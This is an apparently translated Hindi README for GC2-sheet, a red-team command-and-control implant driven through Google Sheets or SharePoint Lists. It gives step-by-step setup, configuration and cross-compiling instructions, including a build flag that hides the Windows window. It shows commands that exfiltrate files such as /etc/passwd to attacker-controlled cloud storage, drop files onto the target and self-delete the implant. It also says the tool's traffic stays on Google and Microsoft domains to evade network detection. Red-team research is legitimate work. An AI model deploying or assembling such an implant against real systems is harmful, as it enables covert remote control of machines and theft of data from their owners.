
GC2 एक कमांड और कंट्रोल एप्लिकेशन है जो हमलावर को Google Sheet या Microsoft SharePoint List का उपयोग करके लक्ष्य मशीन पर कमांड निष्पादित करने और Google Drive या Microsoft SharePoint Document का उपयोग करके फ़ाइलों को बाहर निकालने की अनुमति देता है।
GC2 (Google Command and Control) एक Command and Control एप्लिकेशन है जो एक हमलावर को लक्ष्य मशीन पर Google Sheet या Microsoft SharePoint List का उपयोग करके कमांड निष्पादित करने और Google Drive या Microsoft SharePoint Document का उपयोग करके फ़ाइलें एक्सफ़िल्ट्रेट करने की अनुमति देता है।
यह प्रोजेक्ट Red Teaming गतिविधियों के दौरान एक ऐसा command and control प्रदान करने के लिए विकसित किया गया है जिसमें किसी विशेष सेटअप (जैसे: कस्टम डोमेन, VPS, CDN, ...) की आवश्यकता नहीं होती है।
इसके अलावा, प्रोग्राम केवल Google और Microsoft के डोमेन (जैसे *.google.com) के साथ इंटरैक्ट करेगा ताकि नेटवर्क डिटेक्शन अधिक कठिन हो।
एक Google Sheet C2 द्वारा स्वचालित रूप से बनाई जाएगी। बनने के बाद आप नीचे दिखाए अनुसार समझौता किए गए सिस्टम के साथ इंटरैक्ट कर सकते हैं।
एक Microsoft SharePoint List C2 द्वारा स्वचालित रूप से बनाई जाएगी। बनने के बाद आप नीचे दिखाए अनुसार समझौता किए गए सिस्टम के साथ इंटरैक्ट कर सकते हैं।
लक्ष्य प्रणाली से फ़ाइलें निकालने (exfiltrate) के लिए एक विशेष कमांड आरक्षित है।
लक्ष्य से Google Drive/Microsoft SharePoint Document पर अपलोड करें
upload;<local path>
उदाहरण:
upload;/etc/passwd
नोट: समान नाम वाली फ़ाइलें स्वचालित रूप से अधिलेखित (overwrite) कर दी जाती हैं।
लक्ष्य प्रणाली पर फ़ाइलें डाउनलोड करने के लिए एक विशेष कमांड आरक्षित है।
Google Drive से लक्ष्य पर डाउनलोड करें
download;<google drive file id>;<local path>
उदाहरण:
download;<file ID>;/home/user/downloaded.txt
नोट: फ़ाइलों को SharePoint रूट फ़ोल्डर में सहेजने की आवश्यकता है, आमतौर पर "Documents"
SharePoint से लक्ष्य पर डाउनलोड करें
download;<SharePoint file path>;<local path>
उदाहरण:
download;download.txt;/home/user/downloaded.txt
exit कमांड भेजने पर, C2 लक्ष्य प्रणाली से स्वयं को समाप्त (kill) और हटा (delete) देगा।
PS: os दस्तावेज़ीकरण के अनुसार: यदि प्रक्रिया शुरू करने के लिए एक सिम्लिंक (symlink) का उपयोग किया गया था, तो ऑपरेटिंग सिस्टम के आधार पर, परिणाम सिम्लिंक या वह पथ हो सकता है जिस पर वह इंगित करता है। इस मामले में, सिम्लिंक हटा दिया जाता है।
यह C2 Google (Google Sheet + Google Drive) और Microsoft (SharePoint Lists + SharePoint Document) दोनों सेवाओं का समर्थन करता है। C2 का उपयोग करने के लिए आपको स्थानीय और क्लाउड दोनों कॉन्फ़िगरेशन सेट करने की आवश्यकता है।
एक नया Google "service account" बनाएं
https://console.cloud.google.com/ का उपयोग करके एक नया Google "service account" बनाएं, और service account के लिए एक .json key file बनाएं।
Google Sheet API और Google Drive API सक्षम करें
Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api और Google Sheet API https://developers.google.com/sheets/api/quickstart/go सक्षम करें।
Google Sheet और Google Drive सेट करें
एक नई Google Sheet बनाएं और इसे Service Account के साथ (उसके ईमेल का उपयोग करके) Editor के रूप में साझा करें।
एक नया Google Drive फ़ोल्डर बनाएं और इसे Service Account के साथ (उसके ईमेल का उपयोग करके) Editor के रूप में साझा करें।
Microsoft सेवाओं के साथ इंटरैक्ट करने के लिए आपको पहले एक Business सब्सक्रिप्शन की आवश्यकता होगी (आप इसे पहले 30 दिनों के लिए मुफ्त प्राप्त कर सकते हैं)।
एक Azure एप्लिकेशन बनाएं
यहाँ वर्णित अनुसार एक नया Azure एप्लिकेशन बनाएं https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http
नया एप्लिकेशन बनाने के बाद, निम्नलिखित Graph APIs सक्षम करें:
C2 डाउनलोड करें
C2 को सीधे GitHub से क्लोन किया जा सकता है:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
C2 कॉन्फ़िगर करें
C2 को कॉन्फ़िगर करने के लिए आपको cmd/options.yml फ़ाइल को संशोधित करना होगा। C2 Google और Microsoft दोनों सेवाओं का समर्थन करता है, इन्हें मिलाना भी संभव है।
केवल Google सेवाएं
CommandService: "Google" # कमांड प्राप्त करने और आउटपुट भेजने के लिए Google Sheet का उपयोग किया जाएगा
FileSystemService: "Google" # फ़ाइलें डाउनलोड और एक्सफ़िल्ट्रेट करने के लिए Google Drive का उपयोग किया जाएगा
GoogleServiceAccountKey : "1234567890" # आपकी एस्केप की गई json फ़ाइल
GoogleSheetID: "0987654321" # आपकी Google Sheet ID (URL में पाई जा सकती है)
GoogleDriveID: "1234554321" # आपके Google Drive फ़ोल्डर की ID (URL में पाई जा सकती है)
#RowId: 1 # वैकल्पिक, निर्दिष्ट करें कि बीकन को किस (Google Sheet या SharePoint List) पंक्ति से नए कमांड खींचने चाहिए
#Proxy: "http://127.0.0.1:8080" # वैकल्पिक, प्रॉक्सी निर्दिष्ट करें
Verbose: true # वैकल्पिक, डीबगिंग उद्देश्यों के लिए सुझावित
आपकी Google service account key को कॉन्फ़िगरेशन फ़ाइल में पेस्ट करने से पहले एस्केप किया जाना चाहिए। आप इसे एस्केप करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
केवल Microsoft सेवाएं
CommandService: "Microsoft" # कमांड प्राप्त करने और आउटपुट भेजने के लिए Microsoft SharePoint List का उपयोग किया जाएगा
FileSystemService: "Microsoft" # फ़ाइलें डाउनलोड और एक्सफ़िल्ट्रेट करने के लिए Microsoft SharePoint Document का उपयोग किया जाएगा
MicrosoftTenantID: "567890098765" # आपका Azure Tenant ID जहाँ Azure एप्लिकेशन बनाया गया था
MicrosoftClientID: "098765567890" # आपकी Azure एप्लिकेशन ID
MicrosoftClientSecret: "1234509876" # आपकी Azure एप्लिकेशन Secret value
MicrosoftSiteID: "0987612345" # आपकी SharePoint ID
#RowId: 1 # वैकल्पिक, निर्दिष्ट करें कि बीकन को किस (Google Sheet या SharePoint List) पंक्ति से नए कमांड खींचने चाहिए
#Proxy: "http://127.0.0.1:8080" # वैकल्पिक, प्रॉक्सी निर्दिष्ट करें
Verbose: true # वैकल्पिक, डीबगिंग उद्देश्यों के लिए सुझावित
अधिकांश त्रुटियों का पता verbose फ़्लैग को true पर सेट करके लगाया जा सकता है। डिफ़ॉल्ट रूप से, C2 कोई आउटपुट या त्रुटि जानकारी उत्पन्न नहीं करता है।
इस प्रोजेक्ट का मालिक इस प्रोग्राम के किसी भी अवैध उपयोग के लिए जिम्मेदार नहीं है।
यह एक ओपन सोर्स प्रोजेक्ट है जिसे सुरक्षा स्थिति का आकलन करने और अनुसंधान उद्देश्यों के लिए अधिकार के साथ उपयोग करने के लिए बनाया गया है।
अंतिम उपयोगकर्ता अपने कार्यों और निर्णयों के लिए पूरी तरह से जिम्मेदार है। इस प्रोजेक्ट का उपयोग आपके अपने जोखिम पर है। इस प्रोजेक्ट का मालिक इस प्रोजेक्ट के उपयोग से होने वाले किसी भी नुकसान या क्षति के लिए किसी भी देयता को स्वीकार नहीं करता है।
समान अवधारणा का उपयोग करने वाले मैलवेयर का उल्लेख करने वाली खबर:
Google और Microsoft सेवाओं को मिलाकर
CommandService: "Google" # कमांड प्राप्त करने और आउटपुट भेजने के लिए Google Sheet का उपयोग किया जाएगा
FileSystemService: "Microsoft" # फ़ाइलें डाउनलोड और एक्सफ़िल्ट्रेट करने के लिए Microsoft SharePoint Document का उपयोग किया जाएगा
GoogleServiceAccountKey : "1234567890" # आपकी एस्केप की गई json फ़ाइल
GoogleSheetID: "0987654321" # आपकी Google Sheet ID (URL में पाई जा सकती है)
GoogleDriveID: "1234554321" # आपके Google Drive फ़ोल्डर की ID (URL में पाई जा सकती है)
MicrosoftTenantID: "567890098765" # आपका Azure Tenant ID जहाँ Azure एप्लिकेशन बनाया गया था
MicrosoftClientID: "098765567890" # आपकी Azure एप्लिकेशन ID
MicrosoftClientSecret: "1234509876" # आपकी Azure एप्लिकेशन Secret value
MicrosoftSiteID: "0987612345" # आपकी SharePoint ID
#RowId: 1 # वैकल्पिक, निर्दिष्ट करें कि बीकन को किस (Google Sheet या SharePoint List) पंक्ति से नए कमांड खींचने चाहिए
#Proxy: "http://127.0.0.1:8080" # वैकल्पिक, प्रॉक्सी निर्दिष्ट करें
Verbose: true # वैकल्पिक, डीबगिंग उद्देश्यों के लिए सुझावित
निष्पादन योग्य (executable) बनाएं
विभिन्न OS और आर्किटेक्चर के लिए C2 को क्रॉस-कंपाइल करने के कुछ उदाहरण।
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
चलाएं
कंपाइल करने के बाद इसे निष्पादित करें।
./gc2-sheet
बीकन आपके कॉन्फ़िगरेशन के अनुसार स्वचालित रूप से एक नई Google Sheet या Microsoft SharePoint List बनाएगा।